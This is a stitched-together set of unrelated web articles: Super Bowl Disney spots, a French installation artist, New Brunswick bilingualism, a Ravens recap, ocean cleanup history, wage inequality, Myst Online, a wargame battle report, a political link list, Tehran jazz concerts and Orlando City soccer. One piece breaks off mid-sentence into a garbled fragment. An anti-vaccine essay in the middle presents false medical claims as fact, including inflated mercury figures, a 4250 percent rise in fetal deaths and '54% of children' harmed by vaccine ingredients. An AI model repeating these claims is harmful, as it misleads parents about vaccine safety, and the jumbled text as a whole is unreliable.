Rhodes joined the Raiders last off-season. In fact, you could win more than a few bar bets on the premise that both the 49ers and Raiders, despite the depths to which they have fallen, currently boast players who have basked in the "I'm going to Disneyland" spotlight.
In 2001, Baltimore Ravens linebacker Ray Lewis was chosen as the game's MVP but was snubbed by Disney, apparently because he had been indicted for murder a year earlier and eventually pleaded guilty to a misdemeanor charge of obstruction of justice. Instead, Disney chose quarterback Trent Dilfer, now with the 49ers.
Two players were shot for the spot in 1997, when Green Bay beat New England 35-21. Quarterback Brett Favre had a big day, but Desmond Howard was the MVP because of his 99-yard kickoff return. As Allan was shooting Howard, he not only said the lines but then performed a highly photogenic Lambeau Leap into the fans at the Louisiana Superdome. As a result, if it were possible to be left on the cutting-room floor in a world of video, that's where Favre was.
The 49ers' first Super Bowl, in 1982, was also a big occasion for Allan and his new bride, TV producer/writer Susan Giacomini Allan. They were spending part of their honeymoon in snowy Pontiac, Mich., where he was assigned to shoot broadcasters Pat Summerall and John Madden for an NFL Films feature on the how CBS covered the game.
Leaning over the edge of the booth for his shot, Allan inadvertently obscured Summerall's view of a Bengals' touchdown, causing him to misidentify the scorer.
Allan and his wife were working as a team trying to track down John Elway for the Disney spot in Super Bowl XXXIII, Elway's final NFL game. Trouble was, so were a few thousand other media people.
"We're in this sea of humanity," Allan said. "Susan has me by the belt, and here's Bubby Brister, the backup quarterback, kind of protecting John. She yells at Brister, 'We're with Disney! We've gotta get John!' And Bubby really gets into it. He's now doing crowd control for us. John's moving. His helmet is still on. That was one of the best ones we did."
Allan has been shot at while taping segments in helicopters for CBS' "60 Minutes" and ABC's "20/20." He also was rammed by Raiders cornerback Dwayne O'Steen at the 1980 AFC Championship Game. "I never felt the hit, but I remember seeing my feet up in the air," he said.
Getting ready to shoot Washington's Mark Rypien for Disney after Super Bowl XXVI in 1992, Allan received "a crushing blow" in the back, then another hit. He recovered, got the quarterback to repeat his lines while holding his young daughter - "a million times better." Then he turned around to find that the photographer who had hit him had been decked, probably by a security guard. Like the game itself, this can be a violent assignment.
It can also be nerve-racking. After the 49ers dusted Denver 55-10 in 1990, Joe Montana had done the Disneyland lines and gotten through one Disney World try. Then, a cool eye in the midst of chaos, Montana noticed that the cable between Allan's camera and the sound man's equipment was severed.
As the sound man tried to assess the damage, Montana raced off. Allan said he and his crew were "sweating bullets" until they reached their viewing station and found they had just enough good material. Otherwise, they would have had to track Montana down in the locker room, where the shot would have looked too staged.
Allan's most memorable Super Bowl experience was the only spot in which the player didn't utter the word "Disney." In honor of the troops fighting in Kuwait, the MVP of the Giants-Bills game in 1991 was going to be given a small U.S. flag and say, "I'm dedicating this one to our troops."
With New York ahead 20-19, Buffalo's Scott Norwood lined up a 48-yard field goal try in the closing seconds. Allan's instructions were to grab Giants running back Ottis Anderson if the Bills didn't pull the game out.
Norwood's kick was wide right, so Allan dutifully scrambled across the field. His director handed the flag to Anderson, who performed his lines flawlessly.
"I feel a tap on my shoulder," Allan said. "It's Bart Oates, the (Giants) center. He says, 'Get off the field.' I look at the clock, and there's four seconds left. (Jeff) Hostetler's still got to kneel down.
"I look around, and there's 11 Bills and 11 Giants, myself, my sound man and the Disney director in the middle of the field. What are you going to do? You can't crawl into a hole."
Allan ran to the end zone and "hid behind the goal post," he said.
The embarrassment subsided because the lines Anderson rendered after the game weren't as good as the earlier ones.
"It's fun at the end," Allan said. "There's a lot of pressure, but there's a certain amount of excitement to get into a crowd of people, all trying to do their job, and fight your way through and get the line. There's a lot of pride involved."Single-perspective installations have been extremely popular for the past several years, with the best examples making their rounds instantly on the usual social media platforms. The real shame of this mass exposure is that viewers rarely experience the tactile joy of these illusions, viewing the photographs but never seeing them first-hand. This is especially true with the work of Georges Rousse, a French artist who has been creating his painted perspective installations in abandoned and soon-to-be demolished buildings since the 1980’s.
Finding influence from Land Art as well as specific works like Suprametist painter Kazimir Malevich’s Black Square, Rousse pre-dates the modern trends of illusionistic installation, having perfected his trademark geometric style and his fondness for desolate locations decades ago. According to his site’s bio, Rousse considers himself a painter, sculptor, architect, and ultimately a photographer, but considers his raw material to be his great inspiration: Space. Upon selecting a site, Rousse goes about creating a unique angular perspective, that when photographed, compels the viewer to re-analyze their own surroundings, possibilities, transformations, and ultimately, Space.
Rousse explains, “The convergence of these spaces goes beyond a visual game: Like a hall of mirrors, enigmatic and dizzying, it questions the role of photography as a faithful reproduction of reality; it probes the distances between perception and reality, between imaginary and concrete.” (via My Modern Met)A Saint John man has created a Facebook site for people to share their thoughts on official bilingualism and how it affects their lives.
Jason McBride has started a Facebook page with the goal of having a referendum on official bilingualism. (Facebook) So far more than 4,700 people from around the province have joined.
Jason McBride said he decided to start the site after being turned down for a job he once held at the Tourism Industry Association of New Brunswick.
McBride worked for the association as its training co-ordinator and says he has all the training certifications the job needs. When he left the position, he says he was given glowing recommendations.
But when he reapplied for the job recently after an absence, he was told it now requires a person who can converse easily in French as well as English.
McBride said he asked if there were any training programs he could take that would prepare him for the job but he "kind of got brushed off a bit."
He said he went to Skills and Development in Saint John and asked them for help with French-language training.
It's part of the qualifications and I don't really believe people are being run out of New Brunswick because of bilingualism. - Michel Doucet, law professor
"And I was told, ‘Well we don't actually have anything like that,’ and I said, ‘OK, what do you recommend? (And they said) ‘Well, what you could do is go to the local library and sign out the Rosetta program.’”
McBride says he didn't expect that kind of reaction and he wondered how many others were having similar hardships. It turns out he has tapped into a nerve.
McBride says the experiences of people that are shared on his site paint a very dismal picture of the success of official bilingualism.
He says it's clear the program has been a waste of money and he would like to see a movement started to have the section recognizing New Brunswick as officially bilingual removed from the Constitution.
"I think there's a disconnect," said McBride.
"I think that right now we're seeing a lot of talk about bilingualism and a lot of people not getting an opportunity because they don't speak two languages at a level that is being requested by government testers."
'It's a dead end'
But Michel Doucet, a University of Moncton law professor, said he doubts McBride's Facebook campaign will have much success in the end.
Michel Doucet, a University of Moncton law professor, said some government jobs require bilingual employees so they can offer services to people in either official language. (Submitted by Michel Doucet) "First of all I think it's a dead end to start with," said Doucet.
"They can have a petition or get as many signatures as they want, there won't be any changes in New Brunswick with the Official Languages Act or to the Constitutional protection that are in the Charter [of Rights and Freedoms] right now.
“So I don't believe that anything would change at this point of time, so I can't see the purpose of having a petition like this one on paper."
As for the argument that the language rights given to francophones are taking jobs away anglophones, Doucet said he isn't buying that either.
"We've been hearing that for the last 30 or 40 years and I don't really believe that in New Brunswick a unilingual anglophone cannot get a position," he said.
The law professor said some government jobs require bilingual employees so they can offer services to people in either official language.
“I probably would like to fly a plane but I don't have the qualifications to do it, so I just can't say because they're not allowing me to fly a plane that I'm qualified to do it,” he said.
“It's part of the qualifications and I don't really believe people are being run out of New Brunswick because of bilingualism."
Doucet said he believes the discontent over bilingualism is more of symptom of the province's poor economy. When people can't find jobs, he says, they look for somewhere to put the blame.
Facebook page generates stories
Since creating his Facebook page: "New Brunswick Referendum on Official Bilingualism 2014," he's heard from more than 4,700 people around the province. And each has a story to tell.
Angela Vincent of Moncton is one of the people who joined the online group.
Until her recent problems, she's someone who might be considered the model New Brunswicker.
"I took French immersion from Grade 1 to Grade 12. When I graduated I took the provincial exam and I met the requirements at that time, " Vincent said.
So I wasn't given the job based on French even though I would never have had to use it. - Angela Vincent
Vincent said she never ran into problems with her language skills until she started applying for government jobs in the last 18 months.
"I've taken a test with them and I've been told on several occasions that I don't meet the requirements for bilingualism today," she said.
She said one job would have required her to work in the predominantly anglophone communities of Hillsborough, Riverside-Albert and Sussex.
"I even asked would there be a chance that I would have to be somewhere and speak French and the person said, 'No, but everyone that's hired has to meet these standards,'" she said.
"So I wasn't given the job based on French even though I would never have had to use it. So that's kind of what I've been running into. It's frustrating."
Vincent said having her name on McBride's Facebook site has already opened her up to accusations people who don't understand her frustrations.
"I've gotten a lot of in box messages calling me racist, which I think is funny because it's not a racial issue at all. Or just basically that I'm anti-French or that I'm hateful or whatever,” she said,
“I've been very adamant from the beginning that I don't have an issue with bilingualism and I don't have an issue with French.”Another week of football, and another gritty, hard fought win for the Baltimore Ravens, who improved to 3-0 with a win over the Jacksonville Jaguars. The Ravens have found ways to win each week so far, something they were not able to do in 2015.
Buffalo, Cleveland, and Jacksonville combine for a 1-8 record this year, leading analysts to wonder whether this Baltimore team is a contender or not.
Baltimore has played dominant defense in all but one quarter of football this year, and the offense has made enough plays to win games each week. Winning games early in the season can carry momentum over into the more difficult second half of the schedule, and make the Ravens a team to watch in the playoff race.
Joe Flacco spread the ball out yet again (nine different targets) en route to a franchise record 21-straight completions, and the defense sealed the victory with another late interception. Here are my main points from Week Three.
What I Liked
Winning Ugly. This is the type of football Baltimore has been used to playing during the John Harbaugh/Joe Flacco era. The Ravens love winning ugly because it means they hashed out a hard fought victory. This team is tough, resilient, and plays 60 minutes of football every week.
Young Players On Defense. This is the Timmy Jernigan and C.J. Mosley the Ravens knew they were getting when they spent two early draft picks on the pair. Mosley has stepped into the lead linebacker role this year with a bang as he recorded his second interception of the year in as many weeks. Jernigan has a sack in three straight games to start the season, and he looks like a playmaker from the defensive end position. Brandon Williams and Michael Pierce make a solid wall up front, helping limit the Jaguars to 48 yards rushing. Matt Judon and Za’Darius Smith are hungry for their first sacks of the season, and are consistently finding themselves in the backfield. Tavon Young and Zachary Orr each contributed their first career interceptions in the fourth quarter Sunday. This defense is young and hungry.
Special Teams. There is no debate that Justin Tucker is worth the rich contract he signed this offseason. Tucker converted all five field goal and extra point tries against the Jaguars, and is kicking 100% this year. For the second straight week the special teams unit has blocked a kick, with both blocks having major implications on the final outcome of each game. Devin Hester did muff a punt in the fourth quarter, but that hasn’t been a consistent problem for him throughout his record setting career.
Steve Smith Sr. Each week a different receiver has lead the offense in receiving yards, and this week was Smith Sr.’s turn. Smith hasn’t enjoyed the flashy start to the season that he did last year, but he is contributing important plays each week, like his five-yard reception on 4th-and-2 on the Raven’s final possession.
Taking The Division Lead. With Pittsburgh, Cincinnati, and Cleveland all taking a loss this week, the Ravens have taken the division lead for the first time in over a year. The Ravens have a chance to build on that lead with two upcoming home games in the next two weeks.
What I Didn’t Like
The Running Game. This is becoming a recurring problem. The running game has been nonexistent for three games now. The offensive line is not opening holes and the running backs are not making plays. The hope is this will change when 4th-round rookie Kenneth Dixon returns to the field. Baltimore needs to find a solution sooner rather than later because the key to AFC North football late in the season is a sound running game in the colder months of the year.
Realizing Ronnie Stanley Is Human. For the first two games Stanley was solid in both pass protection and run blocking. This week he let the fact that he’s a rookie show, giving up his first sack and committing a penalty. I don’t see this as a recurring problem, but it was the first time he showed any rookie mistakes.
Lack Of Touchdowns. Scoring enough points to win the game hasn’t been the problem for the Ravens, but scoring touchdowns has. Flacco ran a touchdown early, but was not able to find the endzone again against a defense that had given up 65 points in its previous two games. Baltimore has scored only four touchdowns compared to nine field goals in three games.
Giveaways Late In The Game. Flacco threw two interceptions and Hester fumbled a punt all in the fourth quarter. Turnovers like that lose games, and the Ravens are lucky the defense picked off two of its own to bail out the offense and special teams late on the road. Giveaways like that won’t fly later in the year, and Flacco is well aware of that.
Overall Opinion
This is the type of win the Ravens needed. They’ve won three different games now in three different ways. Week One was defensive domination, Week Two was a come from behind victory, and Week Three was a thrilling back and forth contest won on the road. The Ravens have matched their road wins from 2015 (two) only three games into the season. The defense has five interceptions in three games, a stark contrast from last year’s six total in 16 games. The Ravens are proving they’ve fixed their past mistakes.
Preview of Week FourHarnessing the Power of People to Fight Ocean Trash
The International Coastal Cleanup began more than 30 years ago, when communities rallied together with the common goal of collecting and documenting the trash littering their coastline. The movement was catalyzed by the passion and spirit of two committed individuals. Back in 1986, Linda Maraniss moved to Texas from Washington, DC, where she had been working for Ocean Conservancy. She’d been inspired by the work her Ocean Conservancy colleague Kathy O’Hara was doing on a groundbreaking report called Plastics in the Ocean: More than a Litter Problem that would be published the next year.
Linda and Kathy reached out to the Texas General Land Office, local businesses and other dedicated ocean-lovers, and planned what would become Ocean Conservancy’s first Cleanup. They asked volunteers to go beyond picking up trash and record each item collected on a standardized data card in order to identify ways to eliminate ocean trash in the future.
The Cleanup has grown immensely in the 30 years |
fist “reveal”
with files from the APRepresentatives from the United Steel Workers hold a rally at the entrance to the Marathon refinery in Catlettsburg, Ky., Feb. 7. (Kevin Goldy/Independent via AP)
Once upon a time, American men used to get something called a "raise."
That is when your employer would actually pay you more money. Now, it is true that some people still have experience with this all-but-forgotten practice, but even the ones who do tend not to get pay increases that keep up with price increases. That is why, as David Wessel of the Brookings Institution points out, the typical male worker actually saw his after-inflation pay fall between 1973 and 2014.
What is four lost decades between friends?
So why, as you can see below, have median male earnings flatlined over a time when the economy has doubled?
Source: Brookings Institution
Well, it's the inequality, stupid. The tricky thing, though, is that there are two different kinds. There is inequality between workers and owners, and inequality between workers themselves. It is this last one that is the biggest culprit when it comes to why a growing economy has not meant growing incomes for so many people. The combination of tax cuts for the top, new technologies that have helped high-earners more than anyone else, and globalization moving manufacturing jobs overseas has made growth much more lopsided the past 30 years. A rising tide, in other words, might lift all boats, but not many people can afford a boat anymore.
But, at the same time, inequality between capital and labor has hit a postwar high. The question is whether that is a blip or a beginning. Between the 1970s and 1990s, labor's share of income bounced around in a pretty predictable pattern: up during the booms and down during the busts. But after the tech bubble burst in 2000, it collapsed and didn't recover. The same thing happened after the housing bubble went poof amid a parade of National Association of Realtors ads assuring us that everything was fine. The result of these two kinds of inequality is that workers are not only getting a smaller slice of the income pie, but typical workers are also getting a smaller piece of a smaller slice now that the top 1 percent of workers are gobbling up so much.
Households, though, have been able to cover this up by having women enter the workforce and then getting raises. Well, at least they used to be able to do that. The problem now is that women's labor force participation has actually been declining since the Great Recession hit, and their wages have plateaued over that time as well. That's left households without any more escape valves to deal with the fact that men's earnings haven't gone up, in inflation-adjusted terms, for 40 years. It's no surprise, then, that middle class households are worse off now than they were 16 years ago.
At this rate, the middle class might not be partying like it's 1999 by even 2039.Latest News
Myst Online: Uru Live Again
Welcome back, again.
The Ages of Uru are available again. We’ve opened all the Ages, and added most of the goodies in MO:UL. We’re referring to it as MO:ULagain—feel free to explore and enjoy.
And the cost is pretty good. Free!
To begin playing, click on the PLAY link to create an account.
If you’re so inclined, we’ve provided a way for you to DONATE to help offset our costs, and show your support. Five or ten bucks would go a long way toward helping pay the server and people bills.
We have also made most of the sources to MO:UL open source. You can see how MO:UL ticks, create your own shards, make improvements, fix bugs, create new ages. We will take some of the best improvements, ages and fixes from the fans and apply them to the live MO:UL server. If this interests you please check out the DEVELOPERS section.
Thanks for helping keep Uru alive!
You can find older news articles in the news archive. Be sure to subscribe to the news feed to stay up-to-date!Hey guys,
It’s been a while since I posted anything new, so today I’d like to share a Grimdark Future batrep that was submitted by tat2artst. There’s always something awesome to reading people’s batreps as they show you how different people play the game.
If you’d like to submit your own batrep for everyone to see just shoot me an e-mail: onepageanon@gmail.com.
Cheers!
Dark Brothers vs. Orc Marauders 500 points
Reports of orc scavenger parties sighted in an abandoned imperial industrial sector. A small force of Dark Brothers has been dispatched to clear the area and secure any useful supplies.
Armies:
Dark Brothers
Interrogator w/ energy sword
Shroud Speeder
Battle Brothers
Battle Brothers w/ Plasma Cannon
Orc Marauders
Warlord w/ energy fist, linked carbine
Orc Helicopter w/ linked rocket launcher
Boss Mob w/ 3 energy swords
Commando Orcs w/ heavy machinegun
Setup:
Dark Brothers enter from the south, orcs deploy on the north.
The speeder starts its search in the northwest section. The commando orks secure and ammo cache in the centre ruins and the ork helicopter enters from the east.
Since my table is only 4’x4′ the non-scout units enter from their starting edge on the first round instead of deploying onto the field at the start.
The 3 objectives are:
Ammo cache in the centre ruins
Oil drum collection in southeast ruins
Oil drum collection near northwest tower
Round 1:
Battle Brothers team 1 move into the southeast ruins discovering a pallet of oil drums (objective).
At that moment a scouting orc helicopter passes by and sees movement within the ruins, he flies around the corner to investigate. He finds the brothers and fires off his linked missile launcher. The blast is deadly and wipes out 3 brothers.
Battle Brothers team 2 moves to the ruins to give team 1 support fire. The assault rifles only manage to scratch the paint but the plasma cannon nearly destroys the helicopter dealing it 3 wounds.
On the north side of the ruins the Orc Boss mob hears the sounds of a speeder nearby and charges forward, their viscous melee weapons tear through the speeder like paper. The speeder crashes and explodes into a ball of fire.
Back at the southeast ruins the Dark Brothers interrogator charges at the orc helicopter, jumps into the air and delivers the final blow to the helicopter sending it crashing down into the ruins.
The Orc Warlord rushes south toward the sounds of explosions and the sneaky commando orcs remain in the central ruins securing a cache of ammo (objective).
Round 2:
With the southeast ruins cleared team 2 heads towards the centre ruins, unaware of wait awaits them.
The boss mob notices the black smoke emanating from the southeast they rush down the alley toward the ruins.
The interrogator runs through the ruins to assist team 2.
The orc warlord creeps up to the corner of the centre ruins and spots the dark brother interrogator. He sprays him with bullets from his linked carbine but the bullets don’t penetrate the interrogators armour.
Round 3:
Team 2 spots the boss mob charging down the alley and moves into firing position. The bullets rip through the alley and two boss mob orcs die.
The remaining boss mob continues its charge and reaches the brothers. Their energy swords shred the brothers’ armour. The brothers take three casualties in the assault and strike back wounding 2 of the orcs.
Interrogator charges over to save his remaining brothers striking at the orcs. His energy sword slices the remaining orc in half.
The orc warlord charges around the corner and heads straight for the remaining brothers. He slams his energy fist into them and crushes both of them with ease.
Team 1 positions themselves in the southeast ruins doorway and fires upon the warlord as he rips apart their brothers’ remains. The bullets whiz by grazing his flesh, the warlord barely notices.
Round 4:
Interrogator turns and faces the beastly orc warlord, he dashes forward and unleashes a flurry of strikes. The energy sword tears through the orcs limbs dealing massive damage. The warlord attacks back striking the interrogator with a forceful blow dealing 3 wounds. both barely survive the clash.
The warlord strikes again crushing the interrogator’s head, his body falls to the ground.
End of the game!
Both sides unsuccessful at claiming victory, the remaining units retreat to gather reinforcements to battle forth in the coming days.(Open thread + links)
Gnosticism and civilization. The tinkered Canon (work in progress). Logic and absurdity. Anticoncepts. Economic pseudoscience. Awkward geezers. Genetic failure. Cat lady culture, and a dead nation’s dead. Deep state jitters. Religion and homosexuality. Modern feudalism. Tabulated doublethink. At the dark gate. Fables of the deconstruction. Mirror of obscurity. Main business of the week. Friday fragments. The weekly round-ups.
Gun control is dead (it’s all about crypto now). A tale of two Elons.
Perversity. More democracy doom signal (seen upside-down by the left). Kicking the can.
OPEC death spasms. Who wants Rohingyas? SA in decay (1, 2). Sweden is just about done. The bit of Europe that’s working isn’t, really. Trudeau was a fascist (figures). “… this bubble is literally too big to pop.” California drying.
Observed evolution. Re-mainstreaming IQ. Let’s talk about global warming (also). OK, we know. A taste of tomorrow.
“While we may be able to observe other galaxies movements from the outside, the machinations of our own we have to watch from the inside, a task that NASA compares to ‘trying to create a map of your house while confined to only the living room.'”
Relaxed on human extinction.
Accelerating left lunacy watch (satire and reality long ceased to be distinguishable). The comparatively sane left wants the red guards to just die.by Cara Judea Alhadeff, PhD
Manufactured consent
The primary “public health alert” in the US is a so-called public good that focuses on vaccinations. Big Pharma is the largest advertiser today, the number-one lobbyist in Washington D.C., and donates twice what oil and gas give to our politicians—four times as much as defense and aeronautic contractors. Payoffs drive policies. Government mandated vaccinations are an appalling example of manufactured “choice” and maternal degradation.
In his speech on corruption within the CDC’s vaccine division, Robert F. Kennedy Jr. identified the vaccination crusade as “the most misogynist movement that I have seen in my lifetime. It is a movement that is anti-mother and it is anti-woman” (“Unchecked Power,” Pathways to Family Wellness, 47, 2015, 14). The philosophical and practical implications of mandating “choice” effectively strip parents of our right and responsibility to care for our children.
Eradication of health freedom
Parens patriae is a little-known doctrine that, according to the CDC, the state has the right to assert authority over child welfare. Compulsory vaccination both reinforces institutionalized sexism and represents a totalizing eradication of the individual freedoms that supposedly defines US democracy.
“It lays bare the reality that we do not have health freedom in this country” (Louise Kuo Habakus. “Every Last One: How to Force Total Vaccine Compliance by Controlling the Conversation and Eliminating Choice,” Wise Traditions. Volume 16 Number 2 Summer 2015, 57): 53-59).
State governments defy international codes of ethics, such as the Nuremberg Code and UNESCO’s Universal Declaration on Bioethics and Human Rights, that prohibit coercive medical procedures of any kind, including vaccination. The US national “Well-Child Program” penalizes pediatricians who do not fulfill their annual quota of vaccinated clients. The British government gives physicians financial incentives to maintain high vaccination administration, including monetary bonuses given for vaccine rates higher than 70 to 90 percent.
Several years prior to Governor Brown signing SB277 that mandated all vaccinations for all children attending public school in California, Professor William Wagner, JD of ParentalRights.org wrote:
To evaluate state action that has an impact on parental decisions, the state replaces self-evident, unalienable standards with its own morally relative, utilitarian assessments. [P]arents are told that questions regarding vaccination laws are public policy matters for the government to decide. … When the government eliminates a self-evident moral element from the law, it removes any moral reference point with which to measure whether laws are right or wrong, good or bad, just or unjust. …Replacing the sacred parental right to responsibly determine a child’s medical treatment with dictatorial government mandates inevitably erodes a country’s essential foundations. …The government is supposed to protect parents’ freedoms, not seize them” (“God, Government, and Parental Rights,” Vaccine Epidemic: How Corporate Greed, Biased Science, and Coercive Government Threaten our Human Rights, Our Health, and Our Children, Center for Personal Rights, New York: Skyhorse Publishing, 2011: 55-57).
Targeting America’s most vulnerable
The poorest sectors of society (disproportionately black, single mothers) are severely punished if they do not conform. Consequences for those who attempt to exercise their health care freedom of choice through non-compliance include:
reduced or denied Women Infant Children (WIC) vouchers;
litigation;
refused admittance to public school for even partially vaccinated (let alone fully unvaccinated) children; and
now increasingly, court-ordered vaccination of children against parents’ will.
In divorce court, my colleague unexpectedly discovered that she would be accused of being a negligent mother and would lose custody of her daughter if she opted out of vaccinations. Ironically, being a “decent American citizen” meant going against everything she had learned from numerous scientific studies about vaccine-reactions—she vaccinated her daughter.
All economic classes are subject to being ostracized by their peers who have internalized pharmaceutical fear-tactics. Mothers who question these strategies do not constitute a flight from the democratic process, but rather encourage educated decisions.
Once you become aware…
Consider:
The term “immunization” inaccurately implies that the vaccinated individual is immune.
The childhood vaccine program is arguably more dangerous than it used to be. Many, many more are given (see below). And there is the synergistic effect of all the other toxic chemicals and heavy metals that today’s children are exposed to in the air, water, and their food.
Adjuvants (preservatives added to vaccines to stimulate an immune response without which the vaccines would not work) are more damaging to the child’s body than the disease against which the vaccination is being injected. Dangers include chemicals intended to cross the blood-brain barrier (BBB) (all of which are tested, proven and explicitly labeled as hazardous, toxic, carcinogenic, causing genetic mutations, and/or reversing neurological growth).
We can analyze the safety of each of numerous ingredients (adjuvants) in each vaccine. For example, mercury can be labeled as “removed,” when in fact “trace” amounts remain. The following statistics represent this “trace”:
– Amount of mercury in liquid waste considered toxic by EPA: 200 ppb;
– Amount of mercury in large predator fish: 700 ppb;
– Amount of mercury in “thimersosal-free” vaccines: 2000 ppb;
– Amount of mercury in some single-dose and some infant flu shots: 25,000 ppb;
– Amount of mercury in multi-dose flu vaccines, given to pregnant women: 50,000 ppb;
– Amount of mercury that kills human neuroblastoma cells: 0.5 ppb;
– Increase in fetal deaths associated with mercury in the swine flu shot given to pregnant women: 4250 percent.
Just five years ago it was policy never to vaccinate a pregnant woman. Now, because this population is a growth area for the pharmaceutical industry, the US Department of Health and Human Services (HHS) and the Centers for Disease Control and Prevention (CDC) are targeting pregnant women. Pregnant women are now encouraged to receive five and sometimes more vaccines that contain aluminum, mercury, formaldehyde, MSG, polysorbate, and additional additives. 2009-2010 was a pandemic year during which two influenza vaccines were administered to numerous pregnant women with an accompanying huge spike in fetal deaths.
Vaccinating infants (before the age of two) and combination vaccines like the MMRII (measles, mumps, rubella) “three-in-one” live virus vaccine containing the synergistically neurotoxic glutamate) administered in one doctor’s visit are primary factors leading to vaccine injuries and fatalities. Newborns, babies, and children receive up to 10 vaccines per visit.
From January 2014 to December 2015, there were 77,087 reports of adverse reactions to the Vaccine Adverse Events Reporting System (VAERS), 17,203 ER visits, and 529 deaths. The CDC admits that underreporting is one of the main limitations of VAERS. Vaccine casualties consistently lead to damage of the nervous, respiratory, immune, and digestive systems. Neurological damage includes: motor function deficits, learning disabilities, allergies, ADHD, impaired immune function, auto-immune disease, anaphylactic shock, and encephalopathy. Every year many thousands of people living in the US have a serious adverse effect from a vaccine. At the same time, the number of state mandated shots is increasing. The FDA and CDC have yet to conduct studies that are independent from the pharmaceutical industry.
54% of children in the US suffer from autoimmune disease or neuro-developmental disability which science links to the ingredients in vaccines.
Over 270 vaccines are currently in development for adults and children.
The 1986 National Childhood Vaccine Injury Act protects pharmaceutical manufacturers and those who administer vaccines from financial or legal liability for vaccine injuries and death, thereby securing infinite consumers for the vaccine market and eliminating “the most important consumer protection for safer vaccination” (Kuo Habakus 58).Tehran will play host to two Jazz music events in the run-up to the Gregorian New Year with Armenian and Italian musicians descending on the capital, according to Tiwall.com ticketing website.
International music events in Iran are growing in number in recent months. Just last week, German electronic band Schiller played their first two concerts in the city to a packed-out hall in central Tehran.
Italian duo play Tehran
The first of the two separate events will be performed at Niavaran Cultural Centre on December 22 and 23 by Italian jazz duo Gianluigi Trovesi and Giani Coscia, the site reported.
Trovesi, 72, is a famous jazz saxophonist, clarinettist and composer. Born in Lombardy, a region in northern Italy, he has played several concerts around the world with his musical partner Coscia, 86 on accordion.
Tickets for this event are still available online from the website. However, like mentioned in previous articles, Tiwall is currently only available in Persian.
The Italian Jazz event is supported by Click, Nescafe Alitalia as part of a push to promote cross-cultural dialogue between Tehran and Rome.
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Tickets for this event cost 80,000, 90,000, 100,000 and 110,000 Toman accordingly for different seats at the venue.
Armenian Christmas Jazz
The next Jazzy event will be held from Saturday, December 23 to Christmas Day (December 25) at Vahdat Hall in central Tehran. The event called Christmas Event Soul Friends: Jazz Standard Songs will be performed by the Armenian-Iranian musicians in the run-up to the New Year.
Music from Matt Monro, Duke Ellington, Engelbert Humperdinck and much more will be performed at Vahdat Hall according to Tiwall’s ticketing website details.
Tickets for this event, according to the site, cost 60,000 Toman for ground-level seats and a lower 50,000 Toman for the balcony seats.
Interested in more upcoming events? Why not sign up for our weekly email which will point you in the direction of the best cultural events in the city.A Lion was missing when Orlando City played its 2017 debut, beating NYCFC in front of a sold-out crowd as the club’s new stadium.
Across the Caribbean Sea in Costa Rica, centerback Tommy Redding was playing for an even more meaningful victory — a gold medal at the 2017 Confederation of North, Central American and Caribbean Association Football Under-20 Championship.
It was the United States’ first U-20 CONCACAF title. Redding helped lead the squad to a 5-3 victory in penalties over Honduras after the two sides played to a 0-0 draw during Sunday’s final.
“We we working the past three months together and I missed all preseason here in Orlando, so it’s a big commitment, but getting the gold was an amazing, amazing feeling,” Redding said Wednesday, his first day back training with Orlando City. “I can’t really explain it, but it was just a dream come true.”
Redding, 20, is a homegrown player for Orlando City and grew up in Oviedo. He regularly is hailed as “the future of the club” and began last season as a big part of the team’s plan, starting 12 of the first 16 MLS matches. After Orlando City fired Adrian Heath, Redding was relegated mostly to a substitute role, starting just four of the final 19 games, but his potential was never in question.
U-20 national team coach Tab Ramos made clear during the team’s January camp in California that Redding was among the group’s leaders who could help the U.S. make it to the World Cup.
He did.
Redding started and played a full 90 in the CONCACAF final. The squad now advances to the 2017 FIFA U-20 World Cup from May 20-June 11 in South Korea. Group-stage opponents will be drawn March 15.
“I think it’s an incredible accomplishment by our U20 squad,” Orlando City assistant coach Miles Joseph said. “It’s not easy to go into those environments and pull off what they pulled off, because there’s basically no American fans down there. They’re playing in a hostile environment and they have to get result, and they did it.
“I think it’s an important moment for [Redding,] for his confidence, to go play with kids his age and be a dominant figure amongst those kids. His growth that we’ve seen last year and now what he did in the tournament is only going to help him moving forward. He set a bar for himself with the U-20s.”
Joseph said goals for the blossoming centerback include raising that bar with Orlando City, building on last year’s progress and focusing on consistency and a high level of training every single day so that Redding can get more minutes in games.
It’s a tough task with increased competition at centerback this year.
The club signed Jonathan Spector, an experience centerback who played in England for years, just days before Redding left to join the U-20s, and paired him with Uruguayan José Aja, who was re-signed to a four-year contract.
CAPTION Nani, the winger, was born in Cape Verde and represents the Portugal national team. He was officially introduced as Orlando City’s new designated player on Monday Nani, the winger, was born in Cape Verde and represents the Portugal national team. He was officially introduced as Orlando City’s new designated player on Monday CAPTION Nani, the winger, was born in Cape Verde and represents the Portugal national team. He was officially introduced as Orlando City’s new designated player on Monday Nani, the winger, was born in Cape Verde and represents the Portugal national team. He was officially introduced as Orlando City’s new designated player on Monday CAPTION Orlando Pride star and Brazilian legend Marta on Monday claimed her sixth FIFA Player of Year award after she was named The Best FIFA Women’s Player 2018 during Orlando Pride star and Brazilian legend Marta on Monday claimed her sixth FIFA Player of Year award after she was named The Best FIFA Women’s Player 2018 during CAPTION Orlando City goalkeeper Mason Stajduhar completed his final round of chemotherapy Tuesday Orlando City goalkeeper Mason Stajduhar completed his final round of chemotherapy Tuesday CAPTION After Orlando City's 1-2 loss to Atlanta United, fans threw trash onto the soccer field. After Orlando City's 1-2 loss to Atlanta United, fans threw trash onto the soccer field. CAPTION A high-tech business that makes crystal and silicon lenses for fighter jets and tanks was all shook up over construction of the Orlando City Stadium across the street — and now it’s suing the soccer team, the city and the general contractor. A high-tech business that makes crystal and silicon lenses for fighter jets and tanks was all shook up over construction of the Orlando City Stadium across the street — and now it’s suing the soccer team, the city and the general contractor.
However, Redding may be needed in a different role as well. Right back has been depleted due to injury, and Redding has some experience playing there. Midfielder Will Johnson took on that role in Sunday’s MLS match, but Lions head coach Jason Kreis previously mentioned Redding as an option as well.
Redding said he is open to playing any position the coach asks him to. His availability for Saturday’s afternoon match in New England will depend on his recovery and training this week, according to a spokesman for the club.
“The right back, you have more freedom to go forward but also it’s a lot more running,” Redding said. “Centerback is more, you position everyone, you can see the whole field. So, centerback I think you should be more vocal.”
That’s something he’s becoming more comfortable with the more he takes on a leadership role with the U-20 team. With national squad, he has to be vocal because he’s one of the most experienced young professionals on the team. That’s beginning to translate to his time with Orlando City.
“I’m bringing back a lot of confidence,” Redding said, confirming Joseph’s assessment. “Every year I’ve gotten more and more comfortable speaking with guys and telling them where they need to be on the field. Coming back from being sort of captain on that team... I'm still going to be able to have opinions and talk to people about where they should be on the field.”
